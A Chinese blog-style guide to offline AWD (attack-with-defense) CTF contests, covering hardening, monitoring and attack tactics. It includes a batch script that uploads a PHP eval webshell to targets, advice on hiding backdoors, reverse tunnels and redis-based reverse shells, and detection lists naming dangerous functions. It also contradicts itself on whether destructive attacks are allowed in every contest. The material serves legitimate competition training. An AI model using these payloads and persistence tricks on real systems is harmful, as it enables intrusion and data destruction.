简介《CTF Attack Defense线下攻防赛比赛技巧》是一份面向CTF爱好者与参赛选手的实战向资料聚焦线下攻防赛Attack With Defense的整体策略与关键操作帮助缺乏赛场经验的选手快速形成攻防框架。内容以Defcon CTF等真实赛制为参照详细拆解gamebox的题目分布与分值逻辑如8080、10000端口对应不同难度的problem及相应奖励分数让读者快速熟悉赛场规则与得分节奏。攻击阶段重点讲解逆向分析服务代码、挖掘漏洞、编写exploit获取权限或植入后门防御阶段则强调在保持服务正常运行的前提下修补漏洞、检测并移除后门同时结合流量分析定位对手攻击路径以及Flag检查与计分机制给出可复用的攻防决策思路。资源为1个PDF文件压缩包大小8.32MB内容集中且结构清晰适合赛前查阅与临近比赛速览。目前已有501人学习正在备战CTF线下赛或希望提升实战攻防对抗能力的网络学习者可以获得一套可落地的攻防技巧参考。 这周末刚打完一场线下AWD六个小时打下来系统不知道被穿了多少次回到酒店对着操作记录复盘脑子里全是当时来不及处理的细节。现在趁着记忆还热乎把这次比赛踩过的坑、用上的套路、以及平时训练里不太会注意的细节全部整理出来。这篇东西不是给完全零基础的人看CTF科普的而是给那些已经入门Web安全、正准备第一次上线下攻防赛或者打过一两场但总觉得手忙脚乱的选手。AWDAttack With Defense是目前线下CTF最主流的赛制不像解题赛那样一个人闷头做题目线下赛是真刀真枪的对抗——每支队伍维护一套独立业务环境既要防住别人打你又要抽出精力去打别人。整场比赛比的不只是会不会挖洞更是比谁的操作更稳、谁的反应更快、谁在高压下不容易犯错。这篇文章我会从赛制认知、开局操作、防守加固、攻击利用、踩坑实录五个维度把一场AWD从头到尾拆开讲。1. 先搞懂线下攻防赛到底在打什么1.1 赛制与计分逻辑AWD的基本玩法是每个队伍分配一台或几台同样的靶机靶机上跑着预置好的Web应用和数据库。比赛开始后裁判会为每个队伍生成一份独立的flag文件这个flag通常放在Web目录、tmp目录或者其他指定的读取路径下每隔一定时间常见的有1分钟、3分钟、5分钟就会变化一次。选手需要在自己的靶机上拿到当前flag提交到计分平台才能拿到攻击分。防守方面裁判系统会启动一个check机制模拟真实用户去访问靶机上的业务功能比如登录、查询、上传文件、查看页面内容然后检查返回的响应是否符合预期。如果业务被破坏、页面打不开、功能失效就会被判服务异常扣防守分。换句话说不是你能防住攻击就行你必须保证服务还能正常用这是AWD和普通渗透最大的区别。计分方式一般是基础分加上攻防加减分每个队初始分数相同。攻击成功后加分防守失败后扣分分值通常不大但因为flag更新频率高、对手数量多积少成多以后排名差距会非常明显。有些比赛还设置了“击杀”机制——如果某个队伍连续多轮check失败靶机可能被彻底关闭。理解了这套逻辑就会明白AWD更像是一个运维和安全的综合博弈你既要写利用脚本去打人也要像一个应急响应工程师一样保住自己的业务不挂。1.2 三个阶段的节奏一场标准的AWD通常持续4到8小时整体节奏可以分成三个阶段。开局前30分钟是“混乱期”。所有人都在疯狂扫描、改密码、备份源码、查找漏洞这时候业务环境最脆弱但也是防守最容易出问题的时候。很多人开局就去打别人结果自己的后门被人扫出来直接拿走flag一失分就是双倍损失。中间2到4小时是“拉锯期”。该修的洞修得差不多了该留的后门也留了大家开始进入批量利用和互相清理的阶段。这时候比的是谁对靶机环境理解更深谁的利用脚本更稳谁的权限维持手段更高明。最后1小时是“冲刺期”。排名靠前的队伍开始收缩防线保证服务稳定不再冒险打人。排名靠后的队伍则开始疯狂输出寻找漏网之鱼。这个阶段很容易出现孤注一掷的批量操作也因此经常有人把服务打挂反而把自己拖下水。理解节奏之后接下来讲操作层面最关键的环节开局要做什么。2. 开局前30分钟的操作清单千万别忙着写exp2.1 第一步不是加固而是改密码很多人开局第一反应是去翻源码找漏洞这个顺序其实是错的。AWD环境里所有队伍的靶机初始状态几乎一模一样系统里预置的SSH口令、MySQL密码、后台管理员账号、redis密码全都是已知的。你不改密码别人用同样的默认口令直接就能登进来。我个人习惯是拿到靶机后第一时间做三件事改SSH登录密码、改MySQL和redis密码、修改Web后台管理员账号密码。注意密码要足够复杂至少16位以上包含大小写字母和特殊符号不要图省事用简单的组合。改密码的时候要通过已有的SSH连接进行操作避免把自己锁在外面。# 修改当前用户密码 passwd # 如果靶机允许root登录root密码也一并改掉 sudo passwd root # 修改MySQL密码先进入mysql命令行 mysql -uroot -p ALTER USER rootlocalhost IDENTIFIED BY NewPssw0rd2024!; FLUSH PRIVILEGES; # 修改redis密码 redis-cli CONFIG SET requirepass NewPssw0rd2024!2.2 源码备份与资产梳理改完密码之后立刻把Web目录完整打包备份下来。这个操作有两个作用一是万一自己改坏了代码可以用备份快速恢复二是通过对比源码和初始状态可以发现对手是否在你机器上留了东西。# 打包Web目录备份到非Web目录下 tar -czf /tmp/www_backup_$(date %Y%m%d_%H%M%S).tar.gz /var/www/html/ # 查看当前监听的端口确认服务部署情况 netstat -antlp # 查找最近被修改的文件排查预置后门 find /var/www/ -type f -mmin -10 2/dev/null find /var/www/ -name *.php -newer /tmp/www_backup_*.tar.gz 2/dev/null第五行代码是重点。既然每个队伍的靶机是同样的那么后门一定存在于初始环境中。恶意选手会在靶机预置的源码里藏一些隐蔽的webshell这些webshell放在一般人不会注意的位置文件名可能是随机MD5串、图片马或者看似正常的配置文件。开局阶段先备份再排查能在你被别人打穿之前发现这些雷。2.3 快速定位Web目录与敏感文件不同比赛靶机Web目录的路径可能不同常见的有/var/www/html、/var/www、/usr/share/nginx/html等。拿到权限后先用下面命令定位# 查找Web配置文件确认站点根目录 find / -name *.conf -path *nginx* 2/dev/null find / -name *.conf -path *apache* 2/dev/null # 查找常见的敏感文件 find / -name *.bak -o -name *.swp -o -name *.vim 2/dev/null # 查看数据库连接配置中的明文口令 grep -r password /var/www/html/config.php 2/dev/null grep -r db_password /var/www/html/ 2/dev/null整个开局过程最好控制在20到30分钟以内。不要过度追求把所有东西都补完先把最容易被秒的点堵上后面再慢慢完善。你的对手不会等你准备好了才发起攻击。3. 防守加固让对手的漏洞利用全部失效3.1 四个“不让”原则AWD防守的核心思路我用四个“不让”来总结不让别人读取flag不让别人拿到执行权限不让别人连上数据库不让别人上传文件。所有加固操作围绕这四点展开就永远不会跑偏。先说防flag泄露。flag文件通常放在Web根目录之外比如/flag、/tmp/flag或/root/flag但很多Web应用会有任意文件读取漏洞或者存在目录穿越导致Web用户能读到这些文件。简单粗暴的做法是给flag文件设置权限让Web服务的运行用户无法读取。# 查看当前Web服务运行用户nginx或www-data ps aux | grep nginx # 假设是www-data chmod 700 /flag chown root:root /flag不过要注意有些比赛的flag文件读取脚本本身就以www-data身份运行你把权限改死了自己的flag读取脚本也读不了反而影响提交。这种情况就要用更精细的办法比如给容器加一层白名单只允许特定脚本读取flag路径。3.2 代码层面的快速修复AWD的Web应用基本都是开源的赛前主办方会花几天时间在里面塞几个有意的漏洞比如SQL注入、文件上传、命令执行、反序列化等。你需要快速定位这些漏洞点然后在不影响业务功能的前提下把洞补上。常见的快速修复手段有三种。第一种是禁用危险函数直接在PHP配置里把可能导致命令执行的函数屏蔽掉比如system、exec、passthru、shell_exec、proc_open等。这个操作对Web层防御非常有效因为很多命令执行漏洞利用的就是这些函数。# 修改php.ini禁用危险函数 vim /etc/php/7.4/cli/php.ini disable_functions system,exec,passthru,shell_exec,proc_open,pcntl_exec,popen第二种是修代码层的过滤逻辑。比如文件上传功能很多开发者的代码只检查了MIME类型或文件头你可以把校验改得更严格增加对扩展名的白名单校验。这里提供一个示例只允许指定文件类型上传。?php $allowed [jpg, png, gif]; $ext pathinfo($_FILES[file][name], PATHINFO_EXTENSION); if (!in_array(strtolower($ext), $allowed)) { die(bad file type); } // 后续处理逻辑... ?第三种是给入口文件加访问控制。很多后台功能没有做严格的鉴权或者存在越权访问漏洞。你可以通过修改.htaccess或Nginx配置对后台目录增加IP白名单限制只允许自己的IP访问。3.3 应急WAF与流量监控手动补漏洞永远赶不上攻击者的脚步赛后20分钟就可能有人开始批量打脚本了这时候必须借助WAF和流量分析工具来兜底。常见的免费WAF工具比如安全狗、云锁、D盾比赛环境里都可以临时装一下虽然规则不一定完全适配靶机应用但至少能拦住一些常规的攻击流量。装WAF的前提是不能影响业务稳定性。有些WAF默认规则太严格会把正常请求也拦截掉导致自己的check失败得不偿失。建议装完以后立刻用一个脚本模拟正常用户访问几次确认功能没被误杀。流量监控方面tcpdump是最实用的工具。开局阶段把靶机的网络流量全部抓下来观察是否有对外连接的可疑流量能帮你发现别人在你机器上留的后门和反弹shell。下面这个命令可以实时监听80端口的所有请求和响应。tcpdump -i eth0 port 80 -w /tmp/award_$(date %s).pcap # 过一段时间观察是否有异常请求来源 tail -n 20 /tmp/award_*.pcap | strings | grep -i cmd\|eval\|base64实战里我见过不少团队吃了没开流量监控的亏后门被人上传了十二个小时flag被刷了无数轮自己完全没察觉最后复盘时看流量才发现对方在什么时间点做了什么操作。流量监控不是为了马上发现攻击而是为了事后快速定位失陷原因这个价值同样巨大。4. 攻击思路把对手一次打痛然后持续拿分4.1 利用“同源漏洞”批量收割AWD攻击有一个天然优势所有靶机环境一样。只要你在自己的靶机上分析出一个可用漏洞那么这个漏洞很可能在大多数对手机器上也存在。所以攻击流程一定是先审计自己的代码找到漏洞写利用脚本然后批量扫对手。分析源码时重点关注几个方向上传点是否过滤严格、数据库查询是否拼接SQL、命令执行参数是否可控、反序列化入口是否有魔术方法可利用、是否存在已知的CMS漏洞插件。看到可疑函数就要联想到可能的利用方式。比如看到passthru函数就想到命令执行看到include参数就想到文件包含。找到漏洞后写一批通用利用脚本。以文件上传拿shell为例思路是先探测对手的Web目录权限通过上传一个测试文件确认真实路径再批量上传webshell并验证连接。import requests targets [ http://192.168.1.10:8080, http://192.168.1.11:8080, # 这里填整个网段或从扫描结果中提取的存活IP ] webshell_code ?php eval($_POST[x]);? for url in targets: try: # 第一步上传木马文件 upload_url url.rstrip(/) /upload.php files {file: (shell.php, webshell_code, image/png)} r requests.post(upload_url, filesfiles, timeout5) # 第二步验证shell是否上传成功 shell_url url.rstrip(/) /uploads/shell.php verify requests.post(shell_url, data{x: phpinfo();}, timeout5) if verify.status_code 200 and phpinfo in verify.text: print(f[] 目标 {url} 已拿权限) # 拿到权限后读取flag并提交 # 此处的提交逻辑根据比赛平台接口调整 else: print(f[-] 目标 {url} 上传失败) except requests.exceptions.RequestException: print(f[!] 目标 {url} 连接失败) continue批量脚本的健壮性很重要。现场比赛时网络环境不稳定响应慢、超时、服务挂掉都很常见脚本要能容忍这些异常不能因为一个目标卡死就导致整个扫描停滞。用多线程或异步请求能大幅提高效率但要注意别把自己的带宽打满。4.2 权限维持与后门隐藏传统做法是上传一个不死马通过无限循环不断重置内容防止被杀。但现在很多比赛裁判系统会专门扫描这类特征明显的文件写不死马反而容易被发现并扣分。我个人更推荐用业务功能做权限维持比如在正常的业务接口中预留一个触发点把后门藏在正常的透传参数里。还有一种比较隐蔽的方式是修改正常文件在现有业务逻辑中加入一段恶意判断。比如在index.php的头部include一个看似正常的配置库文件实际上内容是后门逻辑。这种方式不容易被特征扫描发现因为文件本身是业务系统自带的。权限维持的另一层是保持对web shell的控制。即使别人清掉了你的马只要你保留了对目标服务器的SSH权限或者留了反向隧道就能随时重新写入shell。不过反向连接在比赛环境里很容易被流量监控发现要谨慎使用。4.3 从Web沦陷到控制服务器如果比赛允许拿到shell以后应该尽快提权。当然大部分AWD靶机的Web服务运行用户本身权限就不高提权需要内核漏洞或者错误配置。常见的快速检查项有SUID文件、sudo配置、环境变量劫持、可写目录下的路径注入等。提权成功之后就能控制整个服务器这时候的价值就不仅仅是偷flag了你还可以把对方的服务停掉把对方的数据库拖空或者把对方的Web代码整个改掉让对方陷入被动。但我必须提醒一句恶意破坏服务在所有比赛里都是允许的因为check机制就是用来检测服务是否正常的把别人打挂也是得分手段之一。但有些比赛有“不能造成不可逆损害”的规则比如不能格式化硬盘、不能删除源码工程文件。动手之前一定要看清楚规则。5. 实战踩坑记录比赛里那些让你怀疑人生的瞬间5.1 常见问题速查表下面这个表格是我多年打AWD总结出来的高频问题按现场处理的难易程度排了序。现象可能原因处理方式flag提交成功了但没加分提交的flag已过期确认flag更新周期在更新后快速读取提交自己机器无法访问Web页面加固时改了服务端配置检查nginx/apache是否正常回滚配置上传shell访问404上传目录不在Web根目录找到真实upload路径调整利用脚本自己的后门马被别人删了对方也在做权限维持使用业务型后门减少特征服务正常但一直被扣分数据库被对手篡改检查数据库数据设置触发器保护关键表扫描器扫出大量漏洞但无法利用代码审计不到位结合源码审计比对官方修复补丁5.2 被忽略的隐形扣分点很多队伍比赛时只盯着flag提交和业务存活忽略了一些隐蔽的扣分点。比如数据库被对方通过SQL注入删了表但页面还能显示静态缓存内容这种时候check系统可能发现不了异常但其实业务已经处于半瘫痪状态一旦缓存命中失败就是大量失分。还有一个贼隐蔽的点是配置文件的篡改。有个经典玩法修改对方的redis持久化配置让redis进程在某个时间点自动执行计划任务从而获得稳定的反向shell。这种攻击不直接触碰Web层利用的是基础设施层面的配置错误很多人赛前完全不会检查。我自己的习惯是每隔半小时做一次快照对比把Web目录和关键配置文件的哈希值记录到一个文件里每轮比赛轮次中定期比对。不要觉得这很麻烦现场你一慌乱没有对比参考就会像无头苍蝇一样到处乱翻。5.3 如果再让我打一场我会改变什么写了这么多最后想站在个人经验的角度说几句掏心窝的话。打AWD最忌讳的就是“贪”贪多——所有漏洞都想利用所有对手都想打贪快——脚本没测试完就批量丢出去结果把自己机器卡死贪功——拿到权限后光顾着留后门忘了先提交几轮flag。这些坑我一个不落地踩过一遍之后才总结出一个经验AWD的本质不是一个“攻击游戏”而是一个“稳定输出游戏”。你不需要每轮都打穿所有对手你只需要保证自己不死然后从能打的对手身上稳定拿分名次就不会差。还有一个小技巧适合所有人准备一个现成的加固脚本和利用脚本模板库赛前把所有可能用到的payload、webshell、命令整理好放到一个本地文件夹里。比赛时你只需要根据现场情况微调路径和参数就能省下大量敲键盘的时间。我见过太多选手到了现场才开始找工具、找脚本等到他准备完毕别人已经拿他刷了七八轮分了。如果你看完这篇文章准备去参加下一场线下赛那我建议你从今天开始做三件事熟练使用Linux常用命令、自己搭一个类似的Web靶机复现加固流程、把常用的Python批量脚本吃透。剩下的就交给赛场上的临场发挥吧。本文还有配套的精品资源点击获取